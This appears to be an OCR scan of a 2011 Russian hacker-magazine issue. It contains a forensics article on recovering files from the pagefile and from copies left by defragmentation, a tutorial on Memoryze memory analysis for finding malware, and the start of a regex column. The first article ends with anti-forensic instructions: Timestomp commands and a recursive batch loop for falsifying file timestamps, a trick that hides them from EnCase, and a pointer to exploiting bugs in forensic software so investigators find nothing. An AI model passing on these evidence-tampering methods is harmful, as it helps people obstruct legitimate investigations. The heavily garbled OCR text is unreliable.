также можно попросту откл ючить, что сэкономит дополнител ьное м есто на диске . Кстати , исследовать файл п одкачки можно и под виндоЙ . Но та к как оп ерационная с истема не дает е го просмо­треть и скоп и ровать с помощью штатн ых средств, нам по надоб ит­ся програ м м ка FTK Imager lассеssdаtа .соm/SЩJQогt/аdоwпlоаds) . Переходим в раздел « Fi le -7Add Evidence I tem» и указываем диск, где находится файл подкачки . Н а панели слева отобразится дерево каталогов, где необходимо выб рать pag efi le . sys и вос­пользоваться фун кцией э кспорта че рез контекстное меню . Файл подкачки без п роблем скопируется в указанную нами папку, и н и какие блоки ровки с истем ы с этого момента не помешают его анализировать. Для анализа , кстати , можно воспол ьзо ваться DiskDigger I d l skd iggerorg) или PhotoRec Iwww.cgsecurity.org/wikl/ PhotoRec) . Первая - проще , но вторая умеет восста навли вать более широкий круг разл и ч н ых форматов файлов .

Дефрагментация Перейдем к следующей причине появления фа йлов-призраков. Чтобы было наглядней и понятней - опять же проведем н еболь­шой э ксперимент. Для него нам по надобится фл ешка и умение обра щаться с WinH ex· o M . Сначала обеспечим условия для опыта , удалив все да н н ы е с флешки . Для этого за пусти м WinHex, отдади м кома нду Ореп Disk и в появившемся окне выберем н а ш дева Йс . П осле открытия пол ностью выделяем все его содержи мое ICtrl+A) и заби ваем нул я м и ICtrl+L). Одно замечание - п роцесс п ереза п и ­си зани мает достаточное кол ич ество в р е м е н и , так что рекомендую взять фл ешку поменьше . С этого момента на драйве нет да н н ы х и , более того, н ет файловой систе м ы . Та к что следующим ш а гом будет формати рование флешки в NTFS. По умолчанию Wi ndows ХР дает фо рмати ровать флешку только в FAT, но для наших мани­пуляций требуется NTFS. Чтобы операцион ная систе ма позволила отформатировать устройство в нужную нам файловую систему, н еобходимо за йти в диспетчер устройств, найти та м фле ш ку и в параметрах установить опцию « Opt imize for performance». После этого винда сможет отформатировать фле ш ку в NTFS. Цель нашего оп ыта - посмотреть, что происходит с файлами во время дефрагментации . Для этого создадим искусствен ную фраг­ментацию на нашем носителе информации . Возьмем три л юбых j реg-файла и три каких-нибудь аудиофайла или видеоклипа Iглав­ное , чтобы их размер был больше jpeg 'oB) и скоп и руем их на флеш­ку в следующем порядке : 1 . тр3, 1 .jpg , 2 . тр3, 2 . j pg , 3. тр3, 3 . jpg . И нтересно, ка к же они расположил ись на диске? Чтобы посмотреть это, воспользуемся тулзой DiskView от М ар ка Руссиновича Itechnet .

� 032

Файлы изображений после дефрагментации распола­гаются с самого начала и друт за друтом

microsoft .com/ru -ru/sysinterna ls/bb896650) . О н а вы водит графиче­скую схему диска, на которой можно оп ределить местоположени е да нных или узнать, какой файл занимает т е и л и иные кластеры Iдля этого нужно щелкнуть на кластер мышью). Двойной щелчок позволя­ет получить более подробную информацию о файле, которому выде­лен кластер. Запускаем програ мму, выбираем нашу флешку и нажи­маем <Refresh > . Сначала идет зеленая полосочка, обозначающая системные кластеры, а вот сразу за ней - область синих кластеров, представляющих наши файлы , записанные друг за другом. Теперь создадим фрагментацию, удал ив все аудиофаЙлы. Снова нажима­ем < Refresh> и види м, что перед каждым J реg-файлом есть пустая область. Теперь ненадолго переключимся в Win H ex. Чтобы еще раз убедиться, что на флешке нет н и ка ких лишних графических файлов, проведем поиск по си гнатуре: и щем последовательность « jfif», при­сутствующую В заголовке любого j peg-фаЙла. В итоге редактор, как и ожидалось, нашел ровно три таких последовательности, по числу оставш ихся файлов. Ну что ж, п ри шло время навести порядок: не дело, когда файлы вот так разброса ны по диску :1. Запускаем деф­рагментацию, стол ь л юбимую пользователями , для нашего носителя :

C : \ Documents and Setting s \ Adrninistrator>de f rag h :

Windows Disk Defragmenter

Copyright ( с ) 2 0 0 1 Мiсrоsоft Corp . and Execut ive

Sof tware Interna t i ona l , Inc .

Ana ly s i s Report

7 , 4 7 GB Tota l , 7 , 4 3 GB ( 9 9 % )

Fragmented ( 0 % f i l e fragmentat ion )

Defragmentat ion Report

7 , 4 7 GB Tota l , 7 , 4 3 GB ( 9 9 % )

Fragmented ( 0 % f i le f ragmentat ion )

Free , 0 %

Free , 0 %

Дефрагмента ция п рошла, посмотри м , что изменилось н а флеш ке. Жмем на < Refresh> в програ мме DiskView, и что МЫ видим? Фа йл ы , которые располагались на расстоя н и и друг о т друга, а ккуратно перенесены в начало диска , и располага ются строго последова­тел ьно. А теперь внимание l Дефрагмента ция скопи ровала файлы в начало диска , расположив их последовател ьно , но переза писала л и она их предыдущую коп и ю нулями? Чтобы ответить на этот вопрос, о пять обрати мся к мощному ш естнадцати ричному реда кто­ру. Снова проведем поиск по « j f if» . Оп-па , теперь вместо трех най­денных строк получаем целых ш есты� И это может означать только одно - теперь каждый файл представлен в двух экземплярах. Л юбой из них л егко восстанавлива ется с помощью DiskDiggег'а или Photorec ·a . А теперь предста вь, что вм есто графических

ХАКЕР 0 3 / 1 46/ 2 0 1 1

Page 28: Хакер март 2011

-' .. � �CoXP.""T� .... бр.М" .... ф."".., !8нА: ICIм;oIr; :::J

����===I=:::JII ,,,,,,o'''. I'''''''''''''''''' 1

'''''' '000 ""'" GnlnEOS5D -72

�-_ ... I ""-"" ........ -.-." ..... :-: ....... ==-__ -==�= ....... ==' _= .. ::::�:..:�L.....JI .. После дефрагментации файлов DiskDigger находит уже 6 файлов вместо 3 � ... .. - - - - ... O _" . 1I' 1t " • • "'0 " f. '� �" � .. .. .. .. "'О .

==-.-' ,:::::;�: :: :: : : :: :: : :: : :: : : : : : : . -� ;_ ;�iш Е Ё Е � § � Ё � E � � � �� � � § :::,. -- -- OMN"J",. .. .. .. .. .. .. .. , • • , .. .. .. .. .. .. .. . .. .. .. . .. s�-·1§::g § § § � § § � § § § � § § § � § : : ... . : .. .. . . ..... ".... .. . . .. .. .. .. .. .. .. .. . .. .. .. .. .. . . . . . . _ ........ .. .. .. .. .. .. .. .. .. .. .. .. .. . .. .. . . _.. . ._ ....... .. .. .. .. .. .. .. .. .. .. . .. .. .. .. .. . . ' ......... .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. . . :---.. -=:::::::: :: :: :: : :: :: :: :: : :: :: :: :: : :: :: о •• � ����ШШШ �Ш�Ш •.. '--II- ���lli�ЕШШ �ЕШШ . ,Si 1

........... .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. ........... .. .. .. .. .. .. .. .. . . .. .. .. .. .. .. .. После перезаписи по смещению 274432 одни нули

файлов у нас были ка кие-то конфиденциал ьные документы и л и ф а й л ы с да н н ы м и по кредитка м . Даже есл и бы м ы испол ьзовали ути л иты типа Sdelete и пере п исал и п еред удалением эти три файла сотни раз , их п ризраки все равно остались бы на диске и существовали там неоп редел енно дол гое время . До тех пор , пока не будут п ереза п исаны чем-л ибо еще. И все это время их можно будет восстанов ить !

Лучшая защита э,.о нападеt-lие Что можно сделать, чтобы усложнить жизнь л юдям , к которым может попасть для экспертизы твой ком пьютер? Тут есть несколько ва ри­антов. В случае, если на комп ьютере нашли « интересный» файл, время его созда ния будет веским доказательством п ротив е го вла­дельца. Чтобы проследить цепь событий , эксперты опираются также на время созда ния/доступа/модификации файла. Та к почему бы н е запутать следы? На сайте metasDloit . com есть такая замечательная утилита, ка к Timestomp ImetasDloit.com/data/antiforensics/t imestomD. ехе] , которая позволяет менять время созда ния, модификации ил и доступа для заданного файла. Основные опции для ее использова ния .

-т <date>

задает дату последней модификации файла

-а <date>

задает дату последнего доступа к файлу

- с <date>

задает время создания файла

- е <date>

задает время модификации файла , хранящееся в MFT

- z <date>

задает четыре вышеперечисленных параметра

ХАКЕР оз / 1 46/ 2 0 1 1

-".. � �, :.! ;' �.,:"" •

, ,

J

До перезаписи по смещению 274432 начинается пер­вая картинка

_ -�,29

-' •••••••••••••••••••••• I ,� 1 � eoxpaM"ТIo ... БР8МММ. Ф.iin.. I ВI\I,: 1Crк:at 3

1 - 1-"""' 1 _____ -=::"'"""' .... ,29

• :1·"\ '{,о' �AllCQИ8IIpII8tO,8tero�ФWme: О,

Г� ICo.!ep!at!!e

I ,а

DiskDigger не смог найти ни одного файла после ОдНо­кратной перезаписи диска

Дата задается в следующем виде. DayofWeek Month\Day\Year H H . M M .5S [AM I PM] . Есть еще очень и нтересная опция -Ь , кото­рая уста навли вает вышеперечисленные атри буты та ким образом, что из вестная в кругах комп ьютерных крими нал истов програм-ма EnCase их не в идит и отображает пусты м и J Та ким образом, чтобы поменять атрибуты файла, достаточно выполнить в консоли команду. t imestomp , exe boot , ini -z " sunday 1 / 1 2 / 2 0 9 9

1 0 : 0 0 : 0 0 рт " . Л егко можно набросать скриптик, который будет рекурсивно менять временные атрибуты файлов. П ростейший вариант выглядит та к . for /R c : \ tool s \ % i in ( * ) do t imestomp , exe % i - z

" monday 3 / 1 2 / 2 0 0 9 1 0 : 0 0 : 0 0 рт " Есть и другие способы подпортить жизнь товарища м-исследователям чужих Н D D . В своей работе они испол ьзуют программы, написанные обычными л юдьм и , а потому - содержа щими ошибки. Да-да, мы можем использовать уязвимости программнога обеспечения , при­меняемого для поиска ул ик. Подробней об этом можно поч итать в одном из докладов с конференции DefCon. isecDartners.com/fi les/ iS EC- Вгеа k iпg Forensics Sоftwа ге-РаDег.vl 1 . B H2007 .Ddf.

Заключение « Безопасное удаление да нных» - это не панацея . Смею тебя заве­р ить, что описанные лазейки - н е еди нственные в своем роде . И тот, кто по роду деятельности проводит экспертизы компьютеров на п рофессиональном уровне, знает, где и как на йти н еобходимые ему да нные . Теперь твоя безопасность в твоих руках - не дай « охотн икам за при ведениями» найти ни одного «пр израка » на твоем компе . А еще луч ше - не да вай им повода приходить к тебе в гости J :х:

� ОЗЗ

Page 29: Хакер март 2011

АНАЛИЗАТОР ПАМЯТИ ОФЛАИН Использvем Memorvze для исследования системьГи поиска малвари

С) Большинство утилит для поиска малвари анализируют систему в режиме iive, то есть во время ее работы. Но мало кто знает о существовании программ, которые, помимо прочего, способны выполнять так называемые офлайн-исследования, позволяя отыскать зло в памяти компьютера, когда к тому нет доступа или он вообще выключен. Некоторое время назад я открыл для себя новый способ поис- получ илось, что включенные в него техники идеал ьно подходят для ка мал вари , которым с тех пор эффективно пользуюсь. По п ра вде того, чтобы отыскать хорошо зата ившуюся в системе малварь. говоря, основным назначением при меняемого инструмента являет- С утилитой М а пd iа пt's Memoгyze я п ознакомился, когда а ктивно ся вовсе не поиск руткитов , а комплексный анализ памяти. Н о та к изучал программные решения для ком пьютерной крими налистики .

� 034 ХАКЕР 0 3 / 1 46/ 201 1

Page 30: Хакер март 2011

Specify if you w .... t tx> run Мemoryze on 'deod memorу' (г memorу �) or on 'ое memorу·. OperaUons оп '1ive memor • aUoт users tx> ас . е and anaI мм on the host . .. Analyze Dead Мemory М:'imagеs\дudits'/:ТОVдРС\201102042202ЗS'fnemorу.Оf06ЗbOd.img

Проблемы с загрузкой драйвера Memoryze

Помимо основной категор и и продуктов , п редназна­ченных для глубокого изучения дисковых накоп ителей , широко используются также решения для анализа опе-

r Acquire (aлd/or) Analyze иУе Мemory

рати вной памяти. Та кие исследова ния выделяют в осо- Выбираем образ ДЛЯ анализа бый вид э кспертиз - М етогу Forensic . Н е кото рые из п риложений l и в том числе M emoryze) умеют не только используемых файлов или кл ючей реестра) , сетевые вы полнять исследование « живой» системы , но и ана- сокеты, и мпортируемые и э кспортируемые функции и лизи ровать образ памяти, в который заблаговременно та к далее; было помещено все содержи мое оперативной па мяти компьютера. Это дает бол ьшой простор для деятель­ности. И м ея та кой образ, н ичто не мешает позже разо­браться, какие п р иложения за пущены в системе IHa момент созда ния да мпа , разумеется) или, например , с ка кими хостами вза имодействуют и нтересующие нас п роцессы. Ну и са мо собой, это еще и отл ичный способ для поиска мал вари . Можно сделать да м п на п роблем­ной машине и далее на своем собственном комп ьютере без ка ких-либо неудобств разби раться , какая е рунда за гружена в памяти . Тут надо пони мать, что в образ помещается все содержимое памяти, которое считы­вает и анализирует специал ьный парсер. И ка кими бы п родв и нуты ми м етоди ка м и для сокрытия а кти вных про­цессов и дра йверов не пол ьзовалась малварь, их при­сутствие обязател ьно будет отражено в да мпе .

Что такое Memoryze? П рогра м му Memoгyze в кругах комп ьютерных кримина­листов знают не п онаслышке. Это мощнейшее средство анализа па мяти для многих стало частью джентль­менского набора, настоящей програ ммой must have, которая не просто л ежит про запас для подходя щего случая, а действител ьно часто испол ьзуется . Ее созда­теля м и являются Джэм и Батлер и П итер Силбермэн , два маньяка-ха рдкорщика в области а нализа па мяти и

малвари. Ты можешь прямо сейчас сказать им спасибо, потому что они н е только разработали замечател ьный инструме нт, но еще и делятся и м совершенно бес­платно . Дистрибутив доступен для за грузки из раз­дела с фриварными програ ммами компа н и и Mandiant : та nd ia nt . com/prod ucts/free softwa ге . Что мы можем получ ить, испол ьзуя Memoгyze: • полный образ всего диапазона системной па мяти Iбез использования АРI-вызовов) , сохраненный в фа йл для дал ьнейшего анализа ; • да м п адресн ого простра нства любого процесса, вклю­чая список загружен н ых DLL и ЕХЕ, кучу и стэк Iэтот дамп можно дальше исследовать в дизассемблере) ; • образ всех загруженных драйверов или некоторых из них; • ПОЛ Н Ы Й список всех п роцессов, в ключая те, что сп рята ны руткита м и , причем для каждого процесса есть возможность определить все хэндлы Iнапример ,

ХАКЕР 03 / 1 46/ 1 0 1 1

• все строковы е переменные, испол ьзуемые процессами ; • пол н ы й список всех драйверов, в том ч исле те , кото­рые маски руются малварью; • перечень всех модулей ядра ; • перечисление всех установленных хуков lони часто исп ол ьзуются малва рью) ; • и многое другое. Вообще, когда говорят о Memoryze , чаще всего имеют в виду не одну, а две утил иты : консольную M e moryze и GU I -приложение Aud i t Viewer. Они тесно связа н ы между собой. M emoгyze создает дамп и парсит различные структуры, чтобы извлечь и нтересующие да нные . Но работать в консоли не сильно удобно , поэтому в связке испол ьзуется другая утилита - Audi t Viewer, которая позволяет работать с извлеченными да н н ы м и через удобный и нтерфейс. Та ким образом можно узнать все о том , что в момент созда ния образа было за пущено в системе. В некоторых ситуа циях очень удобно иметь п рограмму при себе, поэтому ее луч ше всего разместить на фл еш­ку достаточ ного объема , чтобы туда поместился еще и сграбленный дамп памяти. К счастью, утилита из короб­ки является portable, и уста нов ить ее можно прямо из командной строки : ms i exec / а Memoryz eSetup .

m s i / qb ТАRGЕТDIR=путь_До_флешки_и_папки_

на_ней .

Не л и ш н и м будет записать на флешку и файлы Audit Viеwег'а , чтобы сразу иметь возможн ость проанал и ­з и ровать полученный да м п или вообще выпол н ить « жи вое» исследование системы .

Создаем образ памяти Теперь, когда все приготовления завершены, попро­буем п рограмму в деле. Ка к я уже говорил, Memoryze работает из командной строки . Но для бол ьшего удобства с п рограммой поставляют нескол ько batch­скриптов для выполнения на иболее тип ичных задач . Та к, для получения образа с пол н ы м содержа нием опе­ративной па мяти есть сценарий M emoryD D.bat , е го-то мы и будем использовать. П осле запуска он генери рует конфиг с настройка м и и выпол ня ет memoгyze.exe с нуж­н ы м и пара метра м и : « G :\\\\memoгyze\\\\MemoryDD.bat » . П осле выполнения команды есть два вари анта : про-

t!ext >

Вообще говоря, анализи ровать дамп па мяти можно и без использования Audit Viewer ·a . Для получ ения наиболее востребова н н ых данных с Memoryze идут специальные Ьаtсh-сценарии . Та к, чтобы получить список всех про­цессов из системы, достаточно запустить Process .bat . Вывод при желании можно детализи ровать, запустив тот же сце­нарий с нужными ключа ми . Например, « ProceSS .bat -ports true» помимо непо­средственно сп иска процессов указывает еще и на открытые ими порты . · Но , как ни крути, G U I ­оболочка для изуче­ния образа па мяти в использовании куда приятнее.

� 035

Page 31: Хакер март 2011

Как это может помочь при Reverse Engineering? С п омощью M emoryze можно получ ить образ конкретного про­цесса или драйвера со всеми е го бинарными секциями из физи­ческой памяти. Причем можно извлечь его как с «живой» систе­мы, так и из ранее созданного да мпа оперативной памяти. На деле это позволяет, к примеру, обойти антиотладочные техники , которые часто реал изованы в малвари , после чего процесс или драйвер можно а нализировать в л юбимом дизассемблере. В п рограмме заготовлены несколько с пециально заточенных для этого аспекта сценариев. Создание образа п роцесса : • ProcessDD . bat -рid< РID> - получение образа п роцесса из запущенной системы ; • Proces s DD . bat -pid <PID> - input < f i l ename> ­

извлечение образа из имеющегося дампа с па мятью системы . С извлечением драйвера и сохра нения в файл все а налогично : • DriverDD . bat -driver<drivername>;

• DriverDD . bat -driver<drivername> - input< fname>.

гра мма успешно создаст дамп с памятью или у нее ничего не вы йдет. Последнее очень вероятно . Дело в том , что для работы Memoryze испол ьзует kernel-mode драйвер, предоста вляющий программе прямой доступ к памяти. Н ет драй вера - нет да мпа . Есть несколько причин , по которым драйвер не сможет за грузить­ся, но в первую очередь - из-за отсутствия прав адм и н истратора . Поэтому убедись, что за пускаешь ее из рутовой командной строки . Другая расп ространенная причина - а нти вирус, который может препятствовать пря мому обращению к памяти. Возможно, что на время его п ридется откл ючить. Если все пройдет успешно , полу­ченный да м п будет сохранен в папке с выходн ы м и резул ьтатам и [по умолча н и ю в папке с M emoryze/Auditsl . Структура каталога устроена та ким образом, чтобы повторные вы полнения п роцеду­ры не перезаписывал и ранее полученные образ ы . Та к что всегда л егко оп ределить, на каком комп ьютере и когда был создан образ.

Анализируем дамп Дл я анализа и прос мотра образа памяти, как я уже сказал , испол ьзуется другая утилита - Audi t Vi ewer. П ричем содержание операти вной па мяти н еобязател ьно должно б ыть сдамплено с помощью M e m oryze. Го раздо бол ьшее значение им еет опера­ционная с истема , на которой созда вался образ . П рич иной тому Я В Л Я ЮТСЯ структуры памяти , которые могут значител ьно отл ичать­ся от одной версии операционной систе м ы к другой . В некоторых случаях даже оди н устано влен н ы й [ ил и , наоборот, н еуста н овлен­н ы й l патч может вл иять на воз можн ость выполнить анализ да н ­ных . Анал изатор может па рсить только структуры из вестной ему ОС. Поэтому, п режде чем говорить, что M emoryze и Aud i t Vi ewe r не работают, н еобходимо убедиться , что ты не п ыта ешься вы пол­н ить анализ неподдерживаемой систе м ы [ например , Wi n dows ХР S P 1 1 . к счастью, для внуш ител ьного с п и ска О С все должно без п роблем п олуч иться : • Windows 2000 Seгvice Pack 4 [32-b i t l ; • Windows Х Р Seгvice Pack 2 and Seгvice Pack 3 132-b it l ; • Windows Vista Seгvice Pack 1 and Service Pack 2 132-b i t l ; • Windows 2003 Seгvice Pack 2 [32-b i t l ; • Wi ndows 2003 Seгvice Pack 2 [64-bit l ; • Windows 7 Service Pack О [32-bit l ; • Windows 7 Service Pack О [64- bit l ; • 'Wi ndows 2008 Service Pack 1 and Service Pack 2 [32-b i t l ; • 'Wi ndows 2008 R2 Seгvice Pack О [64-b it l . З вездо чкой в этом с п и ске обозначены те систе м ы , п оддержка которых н аходится в бета -тести рова н и и . Для а нализа да м п а достаточ н о запустить a u d i tviewer. exe и вы брать пун кт «Conf ig u re M e m o ryze». Н е обращай в н и м а н и я на о п ц и ю «Ореп Ex ist i n g

� 0з6

choose wt'ich теthod you want tn use 10 erunerate drivers пom menory: 1" Erиner ... ck'-s Ьу _ memo<у "" ""'" objeds (harde- to bypass)

Etunвa� � foIowing «юutdrive's:------------------, r;; Erune'ate а drive's stmgs � Enunerate а cИvers Щюr"t table r;; Etunerate а drive"s export table 1" "erпv Q;gital 5qlabses Г юs Г SНAI Г SНA2Sб

г Erиner ... ...,.,.. bv traversroo the Pst.oade<foIo<Ut (.osIy bypassod) r�Erиner'" the folowr.gaboutck'-s: ------------------, Г Enumeral:e а drivers strint;ls I г Eru..rnerвte а drivers import table Г Ern.rnerate а drrvers export taЫe

Доступны различные алгоритмы ДЛЯ поиска драйверов

� -- --

-------l� -- -Do you wмt to eruneration information for � proce>ses, or а spedRc process? ---------, r. AI PrOCOSS6 r Spe<ify рюl r spe<ify "'� ....... 1..--'----r s.orcn r... prOCOSS6 Ьу Ьу'" � (such .. vxooss siq1obso): Etunerate for eac:h process:

1" Al Open _ 1" ........"., sedions ( .... DLL lis!ino) Г Vorify Q;gital sq,.bs .. 1" 0000 Po<ts .. ........"., Г S_ " memo<y Г �! _ ... т.ы. r... al loaded � _ . PrOCOSS6' _ ... "'"'" г Export Addr ... TobIo r... al loaded � _ . procosses' _ ... "'"'" 1" Dotect Injocted DLLS Г юs Г SНAI Г !=iI-IА'Ci6

Настройки ДЛЯ анализатора процессов

Results» - она п редназначена для повторн ого открытия уже существую щего файла с а нализом да м п а . Для в ы пол не­н и я исследования п рограмма поп росит тебя указать путь до исполняемого файла M emoryze и вы брать п а п ку для сохра н е ­н и я резул ьтатов . Далее есть д в а варианта : вы п ол н ить а нализ и м е ю ще гося дампа па мяти Iвозможно, с сове ршенно другого ко м п ьюте раl и л и проанализи ровать п а м ять с текущего ком п ью­те ра . В ы б и ра е м п е р в ы й режим и указываем путь до i m g-файла с н а ш и м образом. Несколько следующих шагов мастера необходимы для то го , чтобы указать, что и м енно нас и нтересует и насколько пол ную и нфор­мацию м ы хотим получ ить. С кажем , есл и тебя и нтересуют только дра йверы, которые работают в системе, можно не па рсить и нфор­мацию о хуках и п роцессах . Подход «поставить все гал ки » здесь не пройдет Важно понять простую вещь: чем детальнее анализ будет выполнять Aud i t Viewer, тем дол ьше она будет это делать. В некоторых случаях п роцесс может затя нуться на цел ы й день. Но таких п ыток л егко можно избежать, м и н и м из и руя количество п роверок, которые будет выполнять п рограмма . Например , вклю­ченная опция для извлечения строковых переменных [« Extract stгiпgs» 1 непременно при ведет к многочасовому анализу. Поэтому этот вид исследования рекомендуется оставить на повторный проход [есл и такой п онадобитсяl , вы пол н и в в первый раз толь-ко те проверки , которые тебе действител ьно нужны . Хорошие резул ьтаты при высокой скорости скани рования могут дать сле­дующие настройки сканирован ия : режим исследования процессов [« Process Enumirat ion » 1 без определения хуков и драйверов, но с большинством в ключенных опций за исключением уже упо­мянутой « Extract Str ings» . Отдел ьно идут опции для извлечения [Acquis i t ionl из па мяти или образа па мяти адресного п ространства драйверов или процессов. В основном это нужно, есл и ты имеешь кон кретн ые намерения исследовать что-то из извлеченных да мпов в дизассемблере. Ка к только все настройки а нализа будут зада н ы , Audit Viewer нач н ет работу, отобразив на экране прогресс-бар. В окне п рограм­мы прямо во время парсинга дампа па мяти будут отображаться результаты анализа , включая информацию о процессах, драйве­рах, хуках [ в зависи мости от выбранных HacTpoeKI . Тут придется подождать, но зато отчет тебя непременно впечатлит. Ч его стоит

ХАКЕР 03 / 1 46/ 20 1 1

Page 32: Хакер март 2011

Batch Flles

ТО �ke Memoryze easier to Ilи, each XML scnpt has been wnlpped Ьу а COfТesponding batch file. AlI t:he parameters in the XMl eJl:ecution saipt сап ье modified from the command line using argument5 to t:he batch file. Тhe bat.ch files include:

MemoryDD.bat (о acqulre ап image of phVSlcal memory.

ProcessDD.bat (о acqulre ап Image of the process' address space.

DriverDD.bat (о acquire ilП image о' а driver.

Proиss.bat (о enumerate everyth!ng about а process Includlng handles, v1rtual тетогу,

network ports, ilnd strings.

HookDetectlon.bilt to look fcк hooks withln (ne ореГltlПl system. DriverSeilrch.biltto find drivers.

DrlverWllkU$t.�t (о enumerlte 111 modules and drivers In I Hnked Ilst.

вд т -файлы, включенные в состав Memoryze ДЛЯ решения наиболее востребованных задач

только список идентифицированных п роцессов со спи­ском всех связа нных D LL, хэндлов, секций памяти и так далее. Е ще раз обращаю твое внимание : это будет список абсолютно всех процессов, включая те , кото­рые , воз можно , сп рята н ы в системе руткита м и . Та же история и с дра йвера м и . И не могу не рассказать об одном и нтересном трюке. Если дважды кл и кнуть п о названию п роцесса, в пра­вой части п рогра ммы появятся нескол ько новых вкла­док . В некоторых из них есть колонка «Occu rrences» С цифровыми значениями [ например , для списка прилинкованных к процессу d ll-библ иотек] . Эта фича основана на пара метре Least Frequency 01 Occu rrences [LFO] , описанном П итером С ильбермэном. Идея очень простая , но очень эффекти вная : тела малвари обычно относител ьно ун и кал ьны . Поэтому если компонент используется в нескольких п роцессах, то ему, вероятно, можно доверять. А есл и же н ет, есть повод насторо­житься . Такой п ростой принцип зачастую помога ет быстро оп ределить вредоносные библ иотеки .

Выполнение «живого» анализа памяти Теперь рассмотрим случай , когда мы можем проанали­з и ровать па мять на и меющемся в распоряже н и и ком­п ьютере. В этом случае необязател ьно создавать дамп - у Audit Viewer есть livе-режи м , который и м еет ряд преи муществ. Самая главная фишка в том, что помимо непосредственно операти вной памяти ты можешь под­кл ючить для а нализа еще и swар-файл, а также вы пол­нять прове рку цифровых подписей. Это и нформация испол ьзуется для подсчета и ндекса MRI [Memoryze's Malware Rat ing ] , позволяюще го поразител ьно быстро оп ределить ш и рокий круг малвари. Есл и программе ка кой-то компонент покажется подозрител ьным, ты сразу об этом узнаешь. Имей в виду, что при соответ­ствующей включенной опции утилита будет вычислять хэш для каждого испол н яемого файла и библиоте-ки, ассоциирова нных с запущенными п роцесса м и . Это может за нять значительное время. Поэтому как м и н имум не надо выби рать подсчет всех хэшей сразу [поддерживаются М D5, SHA 1 , SHA256] . Можно ограни­ч иться одн и м из них, который ты действ ител ьно будешь испол ьзовать: например , МD5. Выполнение « живо-го» анализа мало чем отл ичается от парсинга дампа па мяти . В том м есте, где мы раньше указывали путь до img-файла, достаточно выбрать режим « Acqu i re [and/ ог] Analyze Live Метогу». И все . Тут стоит сказать, что выполнение « жи вого» а нализа н и ка к не мешает нам сделать дамп па мяти . Н и когда заведомо не знаешь, что позже ты можешь в нем обнаружить и увидеть. Для этого в момент выбора режи мов извлечения [там же, откуда ранее могл и извлечь да мп кон кретного процесса или драйвера] надо не забыть выбрать опцию « Метогу Acq u is i t ion» .

Х А К Е Р ОЗ / 1 46/ 2 0 1 1

CI�"""":-'::-,-- ,- - " '':''''�I _ ill!e --�

& Al Dri'ven ЕВ '()rjyer'f'CIj'N>1m

. 1

C, '>\"dgм\S'I'S_]l�s\lcp.� r·c:�\Sys_�'IIerh.!F'I'S -С:\,oWdows\S,.u..��tOOO !F'I'S

�-с,......-...s\SYI"')��.1)IS --­

r 'Drin:f'6VМb:'o'ЮМ с-­t'Pto-erWlId

s (] mis �c.'IIOCbo! lW1 n OOS...R.

""" .... "' .. . � .. . ,,'" . .., В"., """ _-о

д вот и список найденных в системе драйверов

_ . ...-_ .. _ .• -т _· ... _

;���S:�J;:=�= � ц-_ .. ----.. -- 'е 2

Список процессав с различными параметрами

Почему Memoryze? Связка Memoryze и Aud i t V iewer н е еди н ствен ная для п роведе н и я М е тогу Forens ic . Ш и роко распро­стра нен также откр ыты й п роект Vоlаtilitу Framework [vola t l lesystems. co m ] . П р и нал и ч и и M i n i GW и и нте р п ре­татора Руt hоп е го даже можно за пустить под Windows, но для этого п ридется по воз иться . Намного п роще совладать с н и м под L inux [особенно есл и и м еть под рукой ма нуал b it . ly!Volat i l i tyM anua l ] . В специальном дистрибути ве для ко м п ьютерных крими нал истов SANS I nvestigative Forensic Toolkit фрейм вор к включен и сразу готов к ра боте. Сборка этой с и стемы выложена в виде обраэа для запуска под VMwa re [compute r­lогепs iсs .sапs .огg/со m m u п itу/dоwп lоаds ] и доступна для бесплатной за груз к и . И все-таки чувствуешь, что в с е как-то сложнее? По этой причине я и выбрал для себя Memoryze. П р и всем бо гатстве фун кционала он н е похож на серьез н ы й продукт для компьютерных крими нал истов . Работать с н и м можно сразу: для этого не надо вникать в горы мануалов, чтобы получить резул ьтат. Зап исал файлы на фле ш ку, создал образ па мяти в файл и п роанал и ­з и ровал е го с п омощью Audit Viewer - в с е п росто, ка к дважды два. Не надо быть спе циал истом , чтобы рас­познать в полученных резул ьтатах элементы зловреда . Испол ьзуемые в программе м етрики [Оссu ггепсеs и M R I ] в купе с проверкой цифровых подписей часто явно дают понять, какие из найденных компонентов вызыва­ют подозрения . Вообще, сама те ма М етогу Forensic вызывает бол ьшой интерес, причем не только как отдел ьный вид крими­налистических расследований , но и как эффекти вный способ для а нализа систем ы [часто незаметного] . Это, к тому же, е ще и работающий метод для излечения и реверсинга с целевого ком п ьютера отдел ьных п роцес­сов и драйверов. :::J:

На диске ты найдешь все необходимое для проведения анализа да мпа памяти.

� 037

Page 33: Хакер март 2011

• • Степан .. Step» ИЛЬИН step!agameLand.ru

Коnонка редактора Про регулярные выражения Регулярные выражения - что это? Все о них слышал и , но почти никто, кроме раз­работчиков, не испол ьзует. А между тем , это мощнейшее средство для поиска и осущест­вления манипуляций в тексте. Любая « регу­лярка» [или « ре гесп»] предста вляет собой шаблон-образец для поиска, составленный по особым п равилам. По какой-то нелепой и непонятной мне причине м ногие думают, что регулярные вы ражен ия , во-первых, очень сложны , а во-вторых, нужны только п рограмм истам . И то и другое - чушь. С непривычки действительно довол ьно сложно въехать в принцип составления регулярок. Нужно думать, при вы кать к син­таксису, подсматривать в ш паргалки с мета­символами и внимательно изучать примеры. К счастью, сейчас есть цел ый набор инстру­ментов , которые карди нальным образом уп рощают как изучение регулярных выра­жен ий , так и их дал ьнейшее использование. Тем более, широко доступн ы базы готовых регулярок для решения наиболее ти пичных задач , та к что во многих случаях можно вообще ничего не составлять вручную и при этом использовать очевидные преи муще­ства технологии . Также довольно глупо полагать, что регуляр­ными выражениями могут воспользоваться только лишь програ мм исты . Если вспом нить историю, то впервые поддержка регеспов появилась вовсе не в языках програ ммиро­вания, а в юниксовых п рограммах: редак­торе sed и фильтре g rep. Сейчас же все бол ьшее количество приложений начи нает поддерживать регулярные выражения для эффективного выполнения самых обычных задач : файловые менеджеры , текстовые редакторы и многие другие.

выражение , ка к бы сложно оно ни выгляде­ло, представляет собой лишь шаблон для поиска, нужно предста вить его в ПОНЯТ-

